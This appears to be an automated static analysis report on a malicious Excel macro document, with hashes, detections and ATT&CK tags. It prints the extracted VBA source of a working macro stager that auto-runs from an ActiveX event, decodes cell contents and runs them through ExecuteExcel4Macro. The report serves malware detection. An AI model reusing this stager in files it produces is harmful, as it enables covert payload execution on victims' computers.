Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3bb334a68787eaad…

MALICIOUS

Office (OOXML)

43.0 KB Created: 2020-07-28 06:59:40 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: 2ae2acdfafe5e806e001420d8c5b0299 SHA-1: 1851c6c2715927812f5ac21d7744faa2f4076b2e SHA-256: 3bb334a68787eaad48f7d7e0a92d1f9b25ebc0cf18561ffa4fe699e183699adf
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an OOXML document containing VBA macros. Heuristics indicate that an ActiveX event triggers a decoded Excel4 macro via ExecuteExcel4Macro. This suggests the macro is designed to download and execute a secondary payload. ClamAV detection further supports its malicious nature.

Heuristics 3

  • ClamAV: Xls.Malware.Mrhl-9774585-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Mrhl-9774585-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    VBA code attached to an auto-firing ActiveX/UserForm control event (e.g. _Layout/_Change/_Painted) decodes a string with Replace/Split/Join/StrReverse/Chr and passes the recovered formula text to ExecuteExcel4Macro. This bridges VBA event activation into XLM formula execution to call Win32 APIs / drop payloads while evading AutoOpen and Shell keyword detection — a high-confidence macro stager, not a specific Office parser CVE.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1306 bytes
SHA-256: a2001601fdb107064026d37c6ca16025adc17611c4f7fe2fd2c4f48604601aeb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "importa, 1, 0, MSForms, Frame"
Sub Pagina1()
ActiveWorkbook.Close 0
End Sub
Sub importaA()
On Error Resume Next
Dim m, p, Z As String
p = ""
For i = 1 To 4211: For ii = 1 To 201
fh = Cells(i, ii): If IsEmpty(fh) = 0 Then m = m & fh
Next: Z = Z & mores(m, "", 6): m = "": Next: k = mores(p, Z, 3)
For Each ff In k: C = mores(ff, "", 4): Next: Application.WindowState = xlMinimized: Application.Dialogs(xlDialogPrint).Show
End Sub
Function mores(l, b As String, d As Long)
If d = 6 Then mores = Chr(l) Else mores = Split(b, "j")
If d = 4 Then Debug.Print ExecuteExcel4Macro(l)
End Function
Private Sub importa_Layout()
importaA
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16384 bytes
SHA-256: d78c481d8f91f647facbe312f17d33b79a669603eae735ce4916f03e325750e8
Detection
ClamAV: Xls.Malware.Mrhl-9774585-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 2392 bytes
SHA-256: 7e04509973a85c927f17b922f808973f40e1b60e4e933ec3ef6c70642eee6bef

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